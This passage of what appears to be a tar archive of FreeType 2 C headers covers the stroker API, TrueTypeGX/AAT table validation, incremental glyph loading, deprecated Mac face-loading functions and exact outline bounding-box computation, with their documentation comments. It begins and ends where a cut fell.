handle. * * @return: * FreeType error code. 0~means success. * * @note: * You should call this function after @FT_Stroker_BeginSubPath. * If the subpath was not `opened', this function `draws' a * single line segment to the start position when needed. */ FT_EXPORT( FT_Error ) FT_Stroker_EndSubPath( FT_Stroker stroker ); /************************************************************** * * @function: * FT_Stroker_LineTo * * @description: * `Draw' a single line segment in the stroker's current sub-path, * from the last position. * * @input: * stroker :: * The target stroker handle. * * to :: * A pointer to the destination point. * * @return: * FreeType error code. 0~means success. * * @note: * You should call this function between @FT_Stroker_BeginSubPath and * @FT_Stroker_EndSubPath. */ FT_EXPORT( FT_Error ) FT_Stroker_LineTo( FT_Stroker stroker, FT_Vector* to ); /************************************************************** * * @function: * FT_Stroker_ConicTo * * @description: * `Draw' a single quadratic Bezier in the stroker's current sub-path, * from the last position. * * @input: * stroker :: * The target stroker handle. * * control :: * A pointer to a Bezier control point. * * to :: * A pointer to the destination point. * * @return: * FreeType error code. 0~means success. * * @note: * You should call this function between @FT_Stroker_BeginSubPath and * @FT_Stroker_EndSubPath. */ FT_EXPORT( FT_Error ) FT_Stroker_ConicTo( FT_Stroker stroker, FT_Vector* control, FT_Vector* to ); /************************************************************** * * @function: * FT_Stroker_CubicTo * * @description: * `Draw' a single cubic Bezier in the stroker's current sub-path, * from the last position. * * @input: * stroker :: * The target stroker handle. * * control1 :: * A pointer to the first Bezier control point. * * control2 :: * A pointer to second Bezier control point. * * to :: * A pointer to the destination point. * * @return: * FreeType error code. 0~means success. * * @note: * You should call this function between @FT_Stroker_BeginSubPath and * @FT_Stroker_EndSubPath. */ FT_EXPORT( FT_Error ) FT_Stroker_CubicTo( FT_Stroker stroker, FT_Vector* control1, FT_Vector* control2, FT_Vector* to ); /************************************************************** * * @function: * FT_Stroker_GetBorderCounts * * @description: * Call this function once you have finished parsing your paths * with the stroker. It returns the number of points and * contours necessary to export one of the `border' or `stroke' * outlines generated by the stroker. * * @input: * stroker :: * The target stroker handle. * * border :: * The border index. * * @output: * anum_points :: * The number of points. * * anum_contours :: * The number of contours. * * @return: * FreeType error code. 0~means success. * * @note: * When an outline, or a sub-path, is `closed', the stroker generates * two independent `border' outlines, named `left' and `right'. * * When the outline, or a sub-path, is `opened', the stroker merges * the `border' outlines with caps. The `left' border receives all * points, while the `right' border becomes empty. * * Use the function @FT_Stroker_GetCounts instead if you want to * retrieve the counts associated to both borders. */ FT_EXPORT( FT_Error ) FT_Stroker_GetBorderCounts( FT_Stroker stroker, FT_StrokerBorder border, FT_UInt *anum_points, FT_UInt *anum_contours ); /************************************************************** * * @function: * FT_Stroker_ExportBorder * * @description: * Call this function after @FT_Stroker_GetBorderCounts to * export the corresponding border to your own @FT_Outline * structure. * * Note that this function appends the border points and * contours to your outline, but does not try to resize its * arrays. * * @input: * stroker :: * The target stroker handle. * * border :: * The border index. * * outline :: * The target outline handle. * * @note: * Always call this function after @FT_Stroker_GetBorderCounts to * get sure that there is enough room in your @FT_Outline object to * receive all new data. * * When an outline, or a sub-path, is `closed', the stroker generates * two independent `border' outlines, named `left' and `right'. * * When the outline, or a sub-path, is `opened', the stroker merges * the `border' outlines with caps. The `left' border receives all * points, while the `right' border becomes empty. * * Use the function @FT_Stroker_Export instead if you want to * retrieve all borders at once. */ FT_EXPORT( void ) FT_Stroker_ExportBorder( FT_Stroker stroker, FT_StrokerBorder border, FT_Outline* outline ); /************************************************************** * * @function: * FT_Stroker_GetCounts * * @description: * Call this function once you have finished parsing your paths * with the stroker. It returns the number of points and * contours necessary to export all points/borders from the stroked * outline/path. * * @input: * stroker :: * The target stroker handle. * * @output: * anum_points :: * The number of points. * * anum_contours :: * The number of contours. * * @return: * FreeType error code. 0~means success. */ FT_EXPORT( FT_Error ) FT_Stroker_GetCounts( FT_Stroker stroker, FT_UInt *anum_points, FT_UInt *anum_contours ); /************************************************************** * * @function: * FT_Stroker_Export * * @description: * Call this function after @FT_Stroker_GetBorderCounts to * export all borders to your own @FT_Outline structure. * * Note that this function appends the border points and * contours to your outline, but does not try to resize its * arrays. * * @input: * stroker :: * The target stroker handle. * * outline :: * The target outline handle. */ FT_EXPORT( void ) FT_Stroker_Export( FT_Stroker stroker, FT_Outline* outline ); /************************************************************** * * @function: * FT_Stroker_Done * * @description: * Destroy a stroker object. * * @input: * stroker :: * A stroker handle. Can be NULL. */ FT_EXPORT( void ) FT_Stroker_Done( FT_Stroker stroker ); /************************************************************** * * @function: * FT_Glyph_Stroke * * @description: * Stroke a given outline glyph object with a given stroker. * * @inout: * pglyph :: * Source glyph handle on input, new glyph handle on output. * * @input: * stroker :: * A stroker handle. * * destroy :: * A Boolean. If~1, the source glyph object is destroyed * on success. * * @return: * FreeType error code. 0~means success. * * @note: * The source glyph is untouched in case of error. * * Adding stroke may yield a significantly wider and taller glyph * depending on how large of a radius was used to stroke the glyph. You * may need to manually adjust horizontal and vertical advance amounts * to account for this added size. */ FT_EXPORT( FT_Error ) FT_Glyph_Stroke( FT_Glyph *pglyph, FT_Stroker stroker, FT_Bool destroy ); /************************************************************** * * @function: * FT_Glyph_StrokeBorder * * @description: * Stroke a given outline glyph object with a given stroker, but * only return either its inside or outside border. * * @inout: * pglyph :: * Source glyph handle on input, new glyph handle on output. * * @input: * stroker :: * A stroker handle. * * inside :: * A Boolean. If~1, return the inside border, otherwise * the outside border. * * destroy :: * A Boolean. If~1, the source glyph object is destroyed * on success. * * @return: * FreeType error code. 0~means success. * * @note: * The source glyph is untouched in case of error. * * Adding stroke may yield a significantly wider and taller glyph * depending on how large of a radius was used to stroke the glyph. You * may need to manually adjust horizontal and vertical advance amounts * to account for this added size. */ FT_EXPORT( FT_Error ) FT_Glyph_StrokeBorder( FT_Glyph *pglyph, FT_Stroker stroker, FT_Bool inside, FT_Bool destroy ); /* */ FT_END_HEADER #endif /* FTSTROKE_H_ */ /* END */ /* Local Variables: */ /* coding: utf-8 */ /* End: */ freetype2/freetype/ftgxval.h 0000644 00000032116 15246445047 0012136 0 ustar 00 /***************************************************************************/ /* */ /* ftgxval.h */ /* */ /* FreeType API for validating TrueTypeGX/AAT tables (specification). */ /* */ /* Copyright 2004-2018 by */ /* Masatake YAMATO, Redhat K.K, */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /***************************************************************************/ /* */ /* gxvalid is derived from both gxlayout module and otvalid module. */ /* Development of gxlayout is supported by the Information-technology */ /* Promotion Agency(IPA), Japan. */ /* */ /***************************************************************************/ #ifndef FTGXVAL_H_ #define FTGXVAL_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* gx_validation */ /* */ /* <Title> */ /* TrueTypeGX/AAT Validation */ /* */ /* <Abstract> */ /* An API to validate TrueTypeGX/AAT tables. */ /* */ /* <Description> */ /* This section contains the declaration of functions to validate */ /* some TrueTypeGX tables (feat, mort, morx, bsln, just, kern, opbd, */ /* trak, prop, lcar). */ /* */ /* <Order> */ /* FT_TrueTypeGX_Validate */ /* FT_TrueTypeGX_Free */ /* */ /* FT_ClassicKern_Validate */ /* FT_ClassicKern_Free */ /* */ /* FT_VALIDATE_GX_LENGTH */ /* FT_VALIDATE_GXXXX */ /* FT_VALIDATE_CKERNXXX */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* */ /* Warning: Use FT_VALIDATE_XXX to validate a table. */ /* Following definitions are for gxvalid developers. */ /* */ /* */ /*************************************************************************/ #define FT_VALIDATE_feat_INDEX 0 #define FT_VALIDATE_mort_INDEX 1 #define FT_VALIDATE_morx_INDEX 2 #define FT_VALIDATE_bsln_INDEX 3 #define FT_VALIDATE_just_INDEX 4 #define FT_VALIDATE_kern_INDEX 5 #define FT_VALIDATE_opbd_INDEX 6 #define FT_VALIDATE_trak_INDEX 7 #define FT_VALIDATE_prop_INDEX 8 #define FT_VALIDATE_lcar_INDEX 9 #define FT_VALIDATE_GX_LAST_INDEX FT_VALIDATE_lcar_INDEX /************************************************************************* * * @macro: * FT_VALIDATE_GX_LENGTH * * @description: * The number of tables checked in this module. Use it as a parameter * for the `table-length' argument of function @FT_TrueTypeGX_Validate. */ #define FT_VALIDATE_GX_LENGTH ( FT_VALIDATE_GX_LAST_INDEX + 1 ) /* */ /* Up to 0x1000 is used by otvalid. Ox2xxx is reserved for feature OT extension. */ #define FT_VALIDATE_GX_START 0x4000 #define FT_VALIDATE_GX_BITFIELD( tag ) \ ( FT_VALIDATE_GX_START << FT_VALIDATE_##tag##_INDEX ) /********************************************************************** * * @enum: * FT_VALIDATE_GXXXX * * @description: * A list of bit-field constants used with @FT_TrueTypeGX_Validate to * indicate which TrueTypeGX/AAT Type tables should be validated. * * @values: * FT_VALIDATE_feat :: * Validate `feat' table. * * FT_VALIDATE_mort :: * Validate `mort' table. * * FT_VALIDATE_morx :: * Validate `morx' table. * * FT_VALIDATE_bsln :: * Validate `bsln' table. * * FT_VALIDATE_just :: * Validate `just' table. * * FT_VALIDATE_kern :: * Validate `kern' table. * * FT_VALIDATE_opbd :: * Validate `opbd' table. * * FT_VALIDATE_trak :: * Validate `trak' table. * * FT_VALIDATE_prop :: * Validate `prop' table. * * FT_VALIDATE_lcar :: * Validate `lcar' table. * * FT_VALIDATE_GX :: * Validate all TrueTypeGX tables (feat, mort, morx, bsln, just, kern, * opbd, trak, prop and lcar). * */ #define FT_VALIDATE_feat FT_VALIDATE_GX_BITFIELD( feat ) #define FT_VALIDATE_mort FT_VALIDATE_GX_BITFIELD( mort ) #define FT_VALIDATE_morx FT_VALIDATE_GX_BITFIELD( morx ) #define FT_VALIDATE_bsln FT_VALIDATE_GX_BITFIELD( bsln ) #define FT_VALIDATE_just FT_VALIDATE_GX_BITFIELD( just ) #define FT_VALIDATE_kern FT_VALIDATE_GX_BITFIELD( kern ) #define FT_VALIDATE_opbd FT_VALIDATE_GX_BITFIELD( opbd ) #define FT_VALIDATE_trak FT_VALIDATE_GX_BITFIELD( trak ) #define FT_VALIDATE_prop FT_VALIDATE_GX_BITFIELD( prop ) #define FT_VALIDATE_lcar FT_VALIDATE_GX_BITFIELD( lcar ) #define FT_VALIDATE_GX ( FT_VALIDATE_feat | \ FT_VALIDATE_mort | \ FT_VALIDATE_morx | \ FT_VALIDATE_bsln | \ FT_VALIDATE_just | \ FT_VALIDATE_kern | \ FT_VALIDATE_opbd | \ FT_VALIDATE_trak | \ FT_VALIDATE_prop | \ FT_VALIDATE_lcar ) /********************************************************************** * * @function: * FT_TrueTypeGX_Validate * * @description: * Validate various TrueTypeGX tables to assure that all offsets and * indices are valid. The idea is that a higher-level library that * actually does the text layout can access those tables without * error checking (which can be quite time consuming). * * @input: * face :: * A handle to the input face. * * validation_flags :: * A bit field that specifies the tables to be validated. See * @FT_VALIDATE_GXXXX for possible values. * * table_length :: * The size of the `tables' array. Normally, @FT_VALIDATE_GX_LENGTH * should be passed. * * @output: * tables :: * The array where all validated sfnt tables are stored. * The array itself must be allocated by a client. * * @return: * FreeType error code. 0~means success. * * @note: * This function only works with TrueTypeGX fonts, returning an error * otherwise. * * After use, the application should deallocate the buffers pointed to by * each `tables' element, by calling @FT_TrueTypeGX_Free. A NULL value * indicates that the table either doesn't exist in the font, the * application hasn't asked for validation, or the validator doesn't have * the ability to validate the sfnt table. */ FT_EXPORT( FT_Error ) FT_TrueTypeGX_Validate( FT_Face face, FT_UInt validation_flags, FT_Bytes tables[FT_VALIDATE_GX_LENGTH], FT_UInt table_length ); /********************************************************************** * * @function: * FT_TrueTypeGX_Free * * @description: * Free the buffer allocated by TrueTypeGX validator. * * @input: * face :: * A handle to the input face. * * table :: * The pointer to the buffer allocated by * @FT_TrueTypeGX_Validate. * * @note: * This function must be used to free the buffer allocated by * @FT_TrueTypeGX_Validate only. */ FT_EXPORT( void ) FT_TrueTypeGX_Free( FT_Face face, FT_Bytes table ); /********************************************************************** * * @enum: * FT_VALIDATE_CKERNXXX * * @description: * A list of bit-field constants used with @FT_ClassicKern_Validate * to indicate the classic kern dialect or dialects. If the selected * type doesn't fit, @FT_ClassicKern_Validate regards the table as * invalid. * * @values: * FT_VALIDATE_MS :: * Handle the `kern' table as a classic Microsoft kern table. * * FT_VALIDATE_APPLE :: * Handle the `kern' table as a classic Apple kern table. * * FT_VALIDATE_CKERN :: * Handle the `kern' as either classic Apple or Microsoft kern table. */ #define FT_VALIDATE_MS ( FT_VALIDATE_GX_START << 0 ) #define FT_VALIDATE_APPLE ( FT_VALIDATE_GX_START << 1 ) #define FT_VALIDATE_CKERN ( FT_VALIDATE_MS | FT_VALIDATE_APPLE ) /********************************************************************** * * @function: * FT_ClassicKern_Validate * * @description: * Validate classic (16-bit format) kern table to assure that the offsets * and indices are valid. The idea is that a higher-level library that * actually does the text layout can access those tables without error * checking (which can be quite time consuming). * * The `kern' table validator in @FT_TrueTypeGX_Validate deals with both * the new 32-bit format and the classic 16-bit format, while * FT_ClassicKern_Validate only supports the classic 16-bit format. * * @input: * face :: * A handle to the input face. * * validation_flags :: * A bit field that specifies the dialect to be validated. See * @FT_VALIDATE_CKERNXXX for possible values. * * @output: * ckern_table :: * A pointer to the kern table. * * @return: * FreeType error code. 0~means success. * * @note: * After use, the application should deallocate the buffers pointed to by * `ckern_table', by calling @FT_ClassicKern_Free. A NULL value * indicates that the table doesn't exist in the font. */ FT_EXPORT( FT_Error ) FT_ClassicKern_Validate( FT_Face face, FT_UInt validation_flags, FT_Bytes *ckern_table ); /********************************************************************** * * @function: * FT_ClassicKern_Free * * @description: * Free the buffer allocated by classic Kern validator. * * @input: * face :: * A handle to the input face. * * table :: * The pointer to the buffer that is allocated by * @FT_ClassicKern_Validate. * * @note: * This function must be used to free the buffer allocated by * @FT_ClassicKern_Validate only. */ FT_EXPORT( void ) FT_ClassicKern_Free( FT_Face face, FT_Bytes table ); /* */ FT_END_HEADER #endif /* FTGXVAL_H_ */ /* END */ freetype2/freetype/ftincrem.h 0000644 00000025460 15246445047 0012276 0 ustar 00 /***************************************************************************/ /* */ /* ftincrem.h */ /* */ /* FreeType incremental loading (specification). */ /* */ /* Copyright 2002-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTINCREM_H_ #define FTINCREM_H_ #include <ft2build.h> #include FT_FREETYPE_H #include FT_PARAMETER_TAGS_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************** * * @section: * incremental * * @title: * Incremental Loading * * @abstract: * Custom Glyph Loading. * * @description: * This section contains various functions used to perform so-called * `incremental' glyph loading. This is a mode where all glyphs loaded * from a given @FT_Face are provided by the client application. * * Apart from that, all other tables are loaded normally from the font * file. This mode is useful when FreeType is used within another * engine, e.g., a PostScript Imaging Processor. * * To enable this mode, you must use @FT_Open_Face, passing an * @FT_Parameter with the @FT_PARAM_TAG_INCREMENTAL tag and an * @FT_Incremental_Interface value. See the comments for * @FT_Incremental_InterfaceRec for an example. * */ /*************************************************************************** * * @type: * FT_Incremental * * @description: * An opaque type describing a user-provided object used to implement * `incremental' glyph loading within FreeType. This is used to support * embedded fonts in certain environments (e.g., PostScript interpreters), * where the glyph data isn't in the font file, or must be overridden by * different values. * * @note: * It is up to client applications to create and implement @FT_Incremental * objects, as long as they provide implementations for the methods * @FT_Incremental_GetGlyphDataFunc, @FT_Incremental_FreeGlyphDataFunc * and @FT_Incremental_GetGlyphMetricsFunc. * * See the description of @FT_Incremental_InterfaceRec to understand how * to use incremental objects with FreeType. * */ typedef struct FT_IncrementalRec_* FT_Incremental; /*************************************************************************** * * @struct: * FT_Incremental_MetricsRec * * @description: * A small structure used to contain the basic glyph metrics returned * by the @FT_Incremental_GetGlyphMetricsFunc method. * * @fields: * bearing_x :: * Left bearing, in font units. * * bearing_y :: * Top bearing, in font units. * * advance :: * Horizontal component of glyph advance, in font units. * * advance_v :: * Vertical component of glyph advance, in font units. * * @note: * These correspond to horizontal or vertical metrics depending on the * value of the `vertical' argument to the function * @FT_Incremental_GetGlyphMetricsFunc. * */ typedef struct FT_Incremental_MetricsRec_ { FT_Long bearing_x; FT_Long bearing_y; FT_Long advance; FT_Long advance_v; /* since 2.3.12 */ } FT_Incremental_MetricsRec; /*************************************************************************** * * @struct: * FT_Incremental_Metrics * * @description: * A handle to an @FT_Incremental_MetricsRec structure. * */ typedef struct FT_Incremental_MetricsRec_* FT_Incremental_Metrics; /*************************************************************************** * * @type: * FT_Incremental_GetGlyphDataFunc * * @description: * A function called by FreeType to access a given glyph's data bytes * during @FT_Load_Glyph or @FT_Load_Char if incremental loading is * enabled. * * Note that the format of the glyph's data bytes depends on the font * file format. For TrueType, it must correspond to the raw bytes within * the `glyf' table. For PostScript formats, it must correspond to the * *unencrypted* charstring bytes, without any `lenIV' header. It is * undefined for any other format. * * @input: * incremental :: * Handle to an opaque @FT_Incremental handle provided by the client * application. * * glyph_index :: * Index of relevant glyph. * * @output: * adata :: * A structure describing the returned glyph data bytes (which will be * accessed as a read-only byte block). * * @return: * FreeType error code. 0~means success. * * @note: * If this function returns successfully the method * @FT_Incremental_FreeGlyphDataFunc will be called later to release * the data bytes. * * Nested calls to @FT_Incremental_GetGlyphDataFunc can happen for * compound glyphs. * */ typedef FT_Error (*FT_Incremental_GetGlyphDataFunc)( FT_Incremental incremental, FT_UInt glyph_index, FT_Data* adata ); /*************************************************************************** * * @type: * FT_Incremental_FreeGlyphDataFunc * * @description: * A function used to release the glyph data bytes returned by a * successful call to @FT_Incremental_GetGlyphDataFunc. * * @input: * incremental :: * A handle to an opaque @FT_Incremental handle provided by the client * application. * * data :: * A structure describing the glyph data bytes (which will be accessed * as a read-only byte block). * */ typedef void (*FT_Incremental_FreeGlyphDataFunc)( FT_Incremental incremental, FT_Data* data ); /*************************************************************************** * * @type: * FT_Incremental_GetGlyphMetricsFunc * * @description: * A function used to retrieve the basic metrics of a given glyph index * before accessing its data. This is necessary because, in certain * formats like TrueType, the metrics are stored in a different place from * the glyph images proper. * * @input: * incremental :: * A handle to an opaque @FT_Incremental handle provided by the client * application. * * glyph_index :: * Index of relevant glyph. * * vertical :: * If true, return vertical metrics. * * ametrics :: * This parameter is used for both input and output. * The original glyph metrics, if any, in font units. If metrics are * not available all the values must be set to zero. * * @output: * ametrics :: * The replacement glyph metrics in font units. * */ typedef FT_Error (*FT_Incremental_GetGlyphMetricsFunc) ( FT_Incremental incremental, FT_UInt glyph_index, FT_Bool vertical, FT_Incremental_MetricsRec *ametrics ); /************************************************************************** * * @struct: * FT_Incremental_FuncsRec * * @description: * A table of functions for accessing fonts that load data * incrementally. Used in @FT_Incremental_InterfaceRec. * * @fields: * get_glyph_data :: * The function to get glyph data. Must not be null. * * free_glyph_data :: * The function to release glyph data. Must not be null. * * get_glyph_metrics :: * The function to get glyph metrics. May be null if the font does * not provide overriding glyph metrics. * */ typedef struct FT_Incremental_FuncsRec_ { FT_Incremental_GetGlyphDataFunc get_glyph_data; FT_Incremental_FreeGlyphDataFunc free_glyph_data; FT_Incremental_GetGlyphMetricsFunc get_glyph_metrics; } FT_Incremental_FuncsRec; /*************************************************************************** * * @struct: * FT_Incremental_InterfaceRec * * @description: * A structure to be used with @FT_Open_Face to indicate that the user * wants to support incremental glyph loading. You should use it with * @FT_PARAM_TAG_INCREMENTAL as in the following example: * * { * FT_Incremental_InterfaceRec inc_int; * FT_Parameter parameter; * FT_Open_Args open_args; * * * // set up incremental descriptor * inc_int.funcs = my_funcs; * inc_int.object = my_object; * * // set up optional parameter * parameter.tag = FT_PARAM_TAG_INCREMENTAL; * parameter.data = &inc_int; * * // set up FT_Open_Args structure * open_args.flags = FT_OPEN_PATHNAME | FT_OPEN_PARAMS; * open_args.pathname = my_font_pathname; * open_args.num_params = 1; * open_args.params = ¶meter; // we use one optional argument * * // open the font * error = FT_Open_Face( library, &open_args, index, &face ); * ... * } * */ typedef struct FT_Incremental_InterfaceRec_ { const FT_Incremental_FuncsRec* funcs; FT_Incremental object; } FT_Incremental_InterfaceRec; /*************************************************************************** * * @type: * FT_Incremental_Interface * * @description: * A pointer to an @FT_Incremental_InterfaceRec structure. * */ typedef FT_Incremental_InterfaceRec* FT_Incremental_Interface; /* */ FT_END_HEADER #endif /* FTINCREM_H_ */ /* END */ freetype2/freetype/ftmac.h 0000644 00000041361 15246445047 0011557 0 ustar 00 /***************************************************************************/ /* */ /* ftmac.h */ /* */ /* Additional Mac-specific API. */ /* */ /* Copyright 1996-2018 by */ /* Just van Rossum, David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /***************************************************************************/ /* */ /* NOTE: Include this file after FT_FREETYPE_H and after any */ /* Mac-specific headers (because this header uses Mac types such as */ /* Handle, FSSpec, FSRef, etc.) */ /* */ /***************************************************************************/ #ifndef FTMAC_H_ #define FTMAC_H_ #include <ft2build.h> FT_BEGIN_HEADER /* gcc-3.1 and later can warn about functions tagged as deprecated */ #ifndef FT_DEPRECATED_ATTRIBUTE #if defined( __GNUC__ ) && \ ( ( __GNUC__ >= 4 ) || \ ( ( __GNUC__ == 3 ) && ( __GNUC_MINOR__ >= 1 ) ) ) #define FT_DEPRECATED_ATTRIBUTE __attribute__(( deprecated )) #else #define FT_DEPRECATED_ATTRIBUTE #endif #endif /*************************************************************************/ /* */ /* <Section> */ /* mac_specific */ /* */ /* <Title> */ /* Mac Specific Interface */ /* */ /* <Abstract> */ /* Only available on the Macintosh. */ /* */ /* <Description> */ /* The following definitions are only available if FreeType is */ /* compiled on a Macintosh. */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Function> */ /* FT_New_Face_From_FOND */ /* */ /* <Description> */ /* Create a new face object from a FOND resource. */ /* */ /* <InOut> */ /* library :: A handle to the library resource. */ /* */ /* <Input> */ /* fond :: A FOND resource. */ /* */ /* face_index :: Only supported for the -1 `sanity check' special */ /* case. */ /* */ /* <Output> */ /* aface :: A handle to a new face object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Notes> */ /* This function can be used to create @FT_Face objects from fonts */ /* that are installed in the system as follows. */ /* */ /* { */ /* fond = GetResource( 'FOND', fontName ); */ /* error = FT_New_Face_From_FOND( library, fond, 0, &face ); */ /* } */ /* */ FT_EXPORT( FT_Error ) FT_New_Face_From_FOND( FT_Library library, Handle fond, FT_Long face_index, FT_Face *aface ) FT_DEPRECATED_ATTRIBUTE; /*************************************************************************/ /* */ /* <Function> */ /* FT_GetFile_From_Mac_Name */ /* */ /* <Description> */ /* Return an FSSpec for the disk file containing the named font. */ /* */ /* <Input> */ /* fontName :: Mac OS name of the font (e.g., Times New Roman */ /* Bold). */ /* */ /* <Output> */ /* pathSpec :: FSSpec to the file. For passing to */ /* @FT_New_Face_From_FSSpec. */ /* */ /* face_index :: Index of the face. For passing to */ /* @FT_New_Face_From_FSSpec. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FT_GetFile_From_Mac_Name( const char* fontName, FSSpec* pathSpec, FT_Long* face_index ) FT_DEPRECATED_ATTRIBUTE; /*************************************************************************/ /* */ /* <Function> */ /* FT_GetFile_From_Mac_ATS_Name */ /* */ /* <Description> */ /* Return an FSSpec for the disk file containing the named font. */ /* */ /* <Input> */ /* fontName :: Mac OS name of the font in ATS framework. */ /* */ /* <Output> */ /* pathSpec :: FSSpec to the file. For passing to */ /* @FT_New_Face_From_FSSpec. */ /* */ /* face_index :: Index of the face. For passing to */ /* @FT_New_Face_From_FSSpec. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FT_GetFile_From_Mac_ATS_Name( const char* fontName, FSSpec* pathSpec, FT_Long* face_index ) FT_DEPRECATED_ATTRIBUTE; /*************************************************************************/ /* */ /* <Function> */ /* FT_GetFilePath_From_Mac_ATS_Name */ /* */ /* <Description> */ /* Return a pathname of the disk file and face index for given font */ /* name that is handled by ATS framework. */ /* */ /* <Input> */ /* fontName :: Mac OS name of the font in ATS framework. */ /* */ /* <Output> */ /* path :: Buffer to store pathname of the file. For passing */ /* to @FT_New_Face. The client must allocate this */ /* buffer before calling this function. */ /* */ /* maxPathSize :: Lengths of the buffer `path' that client allocated. */ /* */ /* face_index :: Index of the face. For passing to @FT_New_Face. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FT_GetFilePath_From_Mac_ATS_Name( const char* fontName, UInt8* path, UInt32 maxPathSize, FT_Long* face_index ) FT_DEPRECATED_ATTRIBUTE; /*************************************************************************/ /* */ /* <Function> */ /* FT_New_Face_From_FSSpec */ /* */ /* <Description> */ /* Create a new face object from a given resource and typeface index */ /* using an FSSpec to the font file. */ /* */ /* <InOut> */ /* library :: A handle to the library resource. */ /* */ /* <Input> */ /* spec :: FSSpec to the font file. */ /* */ /* face_index :: The index of the face within the resource. The */ /* first face has index~0. */ /* <Output> */ /* aface :: A handle to a new face object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* @FT_New_Face_From_FSSpec is identical to @FT_New_Face except */ /* it accepts an FSSpec instead of a path. */ /* */ FT_EXPORT( FT_Error ) FT_New_Face_From_FSSpec( FT_Library library, const FSSpec *spec, FT_Long face_index, FT_Face *aface ) FT_DEPRECATED_ATTRIBUTE; /*************************************************************************/ /* */ /* <Function> */ /* FT_New_Face_From_FSRef */ /* */ /* <Description> */ /* Create a new face object from a given resource and typeface index */ /* using an FSRef to the font file. */ /* */ /* <InOut> */ /* library :: A handle to the library resource. */ /* */ /* <Input> */ /* spec :: FSRef to the font file. */ /* */ /* face_index :: The index of the face within the resource. The */ /* first face has index~0. */ /* <Output> */ /* aface :: A handle to a new face object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* @FT_New_Face_From_FSRef is identical to @FT_New_Face except */ /* it accepts an FSRef instead of a path. */ /* */ FT_EXPORT( FT_Error ) FT_New_Face_From_FSRef( FT_Library library, const FSRef *ref, FT_Long face_index, FT_Face *aface ) FT_DEPRECATED_ATTRIBUTE; /* */ FT_END_HEADER #endif /* FTMAC_H_ */ /* END */ freetype2/freetype/ftbbox.h 0000644 00000012162 15246445047 0011746 0 ustar 00 /***************************************************************************/ /* */ /* ftbbox.h */ /* */ /* FreeType exact bbox computation (specification). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /*************************************************************************/ /* */ /* This component has a _single_ role: to compute exact outline bounding */ /* boxes. */ /* */ /* It is separated from the rest of the engine for various technical */ /* reasons. It may well be integrated in `ftoutln' later. */ /* */ /*************************************************************************/ #ifndef FTBBOX_H_ #define FTBBOX_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* outline_processing */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Function> */ /* FT_Outline_Get_BBox */ /* */ /* <Description> */ /* Compute the exact bounding box of an outline. This is slower */ /* than computing the control box. However, it uses an advanced */ /* algorithm that returns _very_ quickly when the two boxes */ /* coincide. Otherwise, the outline Bezier arcs are traversed to */ /* extract their extrema. */ /* */ /* <Input> */ /* outline :: A pointer to the source outline. */ /* */ /* <Output> */ /* abbox :: The outline's exact bounding box. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* If the font is tricky and the glyph has been loaded with */ /* @FT_LOAD_NO_SCALE, the resulting BBox is meaningless. To get */ /* reasonable values for the BBox it is necessary to load the glyph */ /* at a large ppem value (so that the hinting instructions can */ /* properly shift and scale the subglyphs), then extracting the BBox, */ /* which can be eventually converted back to font units. */ /* */ FT_EXPORT( FT_Error ) FT_Outline_Get_BBox( FT_Outline* outline, FT_BBox *abbox ); /* */ FT_END_HEADER #endif /* FTBBOX_H_ */ /* END */ /* Local Variables: */ /* coding: utf-8 */ /* End: */ freetype2/freetype/ftgzip.h 0000644 00000013023 15246445047 0011762 0 ustar 00 /***************************************************************************/ /* */ /* ftgzip.h */ /* */ /* Gzip-compressed stream support. */ /* */ /* Copyright 2002-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTGZIP_H_ #define FTGZIP_H_ #include 